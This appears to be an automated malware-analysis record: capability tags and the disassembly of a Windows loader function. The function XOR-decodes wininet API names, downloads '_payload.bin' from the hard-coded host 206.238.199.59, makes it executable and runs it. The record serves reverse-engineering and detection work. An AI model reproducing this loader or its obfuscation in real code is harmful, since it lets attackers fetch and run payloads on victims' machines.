Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x18], rbp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x500
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
lea rcx, [rsp + 0xe0]
mov byte [rsp + 0xe0], 0x57
mov byte [rsp + 0xe1], 0x69
mov byte [rsp + 0xe2], 0x6e
mov byte [rsp + 0xe3], 0x69
mov byte [rsp + 0xe4], 0x6e
mov byte [rsp + 0xe5], 0x65
mov byte [rsp + 0xe6], 0x74
mov byte [rsp + 0xe7], 0x2e
mov byte [rsp + 0xe8], 0x64
mov byte [rsp + 0xe9], 0x6c
mov byte [rsp + 0xea], 0x6c
mov byte [rsp + 0xeb], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r15d, r15d
mov ecx, 0x100000
mov r13d, r15d
mov rbp, rax
call fcn.1400016f0
mov byte [rsp + 0x58], 0x23
mov byte [rsp + 0x59], 5
mov byte [rsp + 0x5a], 0x18
mov byte [rsp + 0x5b], 0xf
mov byte [rsp + 0x5c], 0x19
mov r14, rax
mov byte [rsp + 0x5d], 2
mov byte [rsp + 0x5e], 0xf
mov byte [rsp + 0x5f], 0x1f
mov byte [rsp + 0x60], 0x23
mov byte [rsp + 0x61], 0x1a
mov byte [rsp + 0x62], 0xe
mov byte [rsp + 0x63], 2
mov byte [rsp + 0x64], 0x2b
mov byte [rsp + 0x65], r13b
mov ecx, r15d
mov rdx, r15
lea r8, [rsp + 0x58]
lea r9d, [r15 + 0xd]
lea rdi, [0x140000000]
cmp ecx, 3
jne 0x140001112
mov ecx, r15d
mov rdx, r15
movzx eax, byte [rdx + rdi + 0x9db0]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
sub r9, 1
jne 0x140001107
lea rdx, [rsp + 0x58]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rcx, str.souhu
lea edx, [r9 + 1]
xor r8d, r8d
mov dword [rsp + 0x20], r15d
call rax
mov r12, rax
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x140001167
xor ecx, ecx
call fcn.140001a40
int3
mov qword [rsp + 0x530], rbx
mov ebx, 0x10
mov byte [rsp + 0x68], 0x2b
mov qword [rsp + 0x538], rsi
mov byte [rsp + 0x69], r13b
mov byte [rsp + 0x6a], 0x19
mov r9, rbx
mov byte [rsp + 0x6b], 7
mov byte [rsp + 0x6c], 0x1c
mov byte [rsp + 0x6d], 3
mov byte [rsp + 0x6e], 7
mov byte [rsp + 0x6f], 0x1a
mov byte [rsp + 0x70], 0x2e
mov byte [rsp + 0x71], 0xd
mov byte [rsp + 0x72], r13b
mov byte [rsp + 0x73], 3
mov byte [rsp + 0x74], 7
mov byte [rsp + 0x75], 0xd
mov byte [rsp + 0x76], 0x19
mov byte [rsp + 0x77], 0x23
mov byte [rsp + 0x78], r13b
mov ecx, r15d
mov rdx, r15
lea r8, [rsp + 0x68]
nop
cmp ecx, 3
jne 0x1400011eb
mov ecx, r15d
mov rdx, r15
movzx eax, byte [rdx + rdi + 0x9dbc]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
sub r9, 1
jne 0x1400011e0
lea rdx, [rsp + 0x68]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
lea rdx, str.206.238.199.59
mov r8d, 0x118
xor r9d, r9d
mov rcx, r12
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r15
call rax
mov rsi, rax
test rax, rax
jne 0x14000124f
xor ecx, ecx
call fcn.140001a40
int3
mov byte [rsp + 0xb0], 0x21
mov byte [rsp + 0xb1], 0x1b
mov byte [rsp + 0xb2], 4
mov byte [rsp + 0xb3], 0x19
mov byte [rsp + 0xb4], 0x20
mov byte [rsp + 0xb5], r13b
mov byte [rsp + 0xb6], 0xc
mov byte [rsp + 0xb7], 1
mov byte [rsp + 0xb8], 0x22
mov byte [rsp + 0xb9], 0xc
mov byte [rsp + 0xba], 0x1e
mov byte [rsp + 0xbb], 5
mov byte [rsp + 0xbc], 0xc
mov byte [rsp + 0xbd], 0x1c
mov byte [rsp + 0xbe], 4
mov byte [rsp + 0xbf], 0x28
mov byte [rsp + 0xc0], r13b
mov ecx, r15d
mov rdx, r15
lea r8, [rsp + 0xb0]
mov r9, rbx
cmp ecx, 3
jne 0x1400012f3
mov ecx, r15d
mov rdx, r15
movzx eax, byte [rdx + rdi + 0x9dd0]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
sub r9, 1
jne 0x1400012e8
lea rdx, [rsp + 0xb0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x84000100
lea r8, str._payload.bin
lea rdx, [0x140009de8]
xor r9d, r9d
mov rcx, rsi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call rax
mov rdi, rax
test rax, rax
jne 0x14000135b
xor ecx, ecx
call fcn.140001a40
int3
mov byte [rsp + 0x80], 0x3d
mov byte [rsp + 0x81], 0x1e
mov byte [rsp + 0x82], 0x19
mov byte [rsp + 0x83], 5
mov byte [rsp + 0x84], 0x39
mov byte [rsp + 0x85], 8
mov byte [rsp + 0x86], 0x1b
mov byte [rsp + 0x87], 0xe
mov byte [rsp + 0x88], 0x3f
mov byte [rsp + 0x89], bl
mov byte [rsp + 0x8a], 0x1b
mov byte [rsp + 0x8b], 0x18
mov byte [rsp + 0x8c], bl
mov byte [rsp + 0x8d], 0x19
mov byte [rsp + 0x8e], 0x19
mov byte [rsp + 0x8f], 0x34
mov byte [rsp + 0x90], r13b
mov ecx, r15d
mov rdx, r15
lea r8, [rsp + 0x80]
mov r9, rbx
lea r10, [0x140000000]
nop dword [rax]
cmp ecx, 3
jne 0x14000140b
mov ecx, r15d
mov rdx, r15
movzx eax, byte [rdx + r10 + 0x9dec]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
sub r9, 1
jne 0x140001400
lea rdx, [rsp + 0x80]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], r15d
call rax
test eax, eax
jne 0x140001455
xor ecx, ecx
call fcn.140001a40
int3
mov byte [rsp + 0x98], 0x3d
mov byte [rsp + 0x99], 9
mov byte [rsp + 0x9a], 0x16
mov byte [rsp + 0x9b], 0x11
mov byte [rsp + 0x9c], 0x15
mov byte [rsp + 0x9d], 0xc
mov byte [rsp + 0x9e], 0x11
mov byte [rsp + 0x9f], 0x13
mov byte [rsp + 0xa0], 0x30
mov byte [rsp + 0xa1], 0x11
mov byte [rsp + 0xa2], 6
mov byte [rsp + 0xa3], 6
mov byte [rsp + 0xa4], 0x32
mov byte [rsp + 0xa5], 0xe
mov byte [rsp + 0xa6], 0xe
mov byte [rsp + 0xa7], 0x11
mov byte [rsp + 0xa8], r13b
mov ecx, r15d
mov rdx, r15
lea r8, [rsp + 0x98]
lea r12, [0x140000000]
cmp ecx, 3
jne 0x1400014fd
mov ecx, r15d
mov rdx, r15
movzx eax, byte [rdx + r12 + 0x9df0]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
sub rbx, 1
jne 0x1400014f2
lea rdx, [rsp + 0x98]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0xf0]
mov r8d, 0x400
mov rcx, rdi
mov rbx, rax
call rbx
test eax, eax
je 0x140001587
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x140001587
mov r8, rcx
mov ecx, r13d
lea rdx, [rsp + 0xf0]
add rcx, r14
call fcn.140005520
add r13d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0xf0]
mov r8d, 0x400
mov rcx, rdi
call rbx
test eax, eax
jne 0x140001548
mov byte [rsp + 0xc8], 0x3e
mov byte [rsp + 0xc9], 0x1d
mov byte [rsp + 0xca], 0xc
mov byte [rsp + 0xcb], 0x12
mov byte [rsp + 0xcc], 1
mov byte [rsp + 0xcd], 0x16
mov byte [rsp + 0xce], 0x12
mov byte [rsp + 0xcf], 7
mov byte [rsp + 0xd0], 0x3b
mov byte [rsp + 0xd1], 0x1b
mov byte [rsp + 0xd2], 0x1c
mov byte [rsp + 0xd3], 0xb
mov byte [rsp + 0xd4], 0x12
mov byte [rsp + 0xd5], 0x3b
mov byte [rsp + 0xd6], 0x19
mov byte [rsp + 0xd7], 0x19
mov byte [rsp + 0xd8], 0x17
mov byte [rsp + 0xd9], 0x14
mov byte [rsp + 0xda], 0x12
mov byte [rsp + 0xdb], r15b
mov ecx, r15d
mov rdx, r15
lea r8, [rsp + 0xc8]
mov r9d, 0x13
lea r12, [0x140000000]
cmp ecx, 3
jne 0x14000164d
mov ecx, r15d
mov rdx, r15
movzx eax, byte [rdx + r12 + 0x9df4]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
sub r9, 1
jne 0x140001642
lea rdx, [rsp + 0xc8]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov rbx, rax
call rbx
mov rcx, rsi
call rbx
mov rcx, qword [rsp + 0x48]
call rbx
lea r9, [rsp + 0x50]
mov edx, r13d
mov r8d, 0x40
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, r14
call fcn.140001c2c
xor ecx, ecx
call fcn.140001a40
int3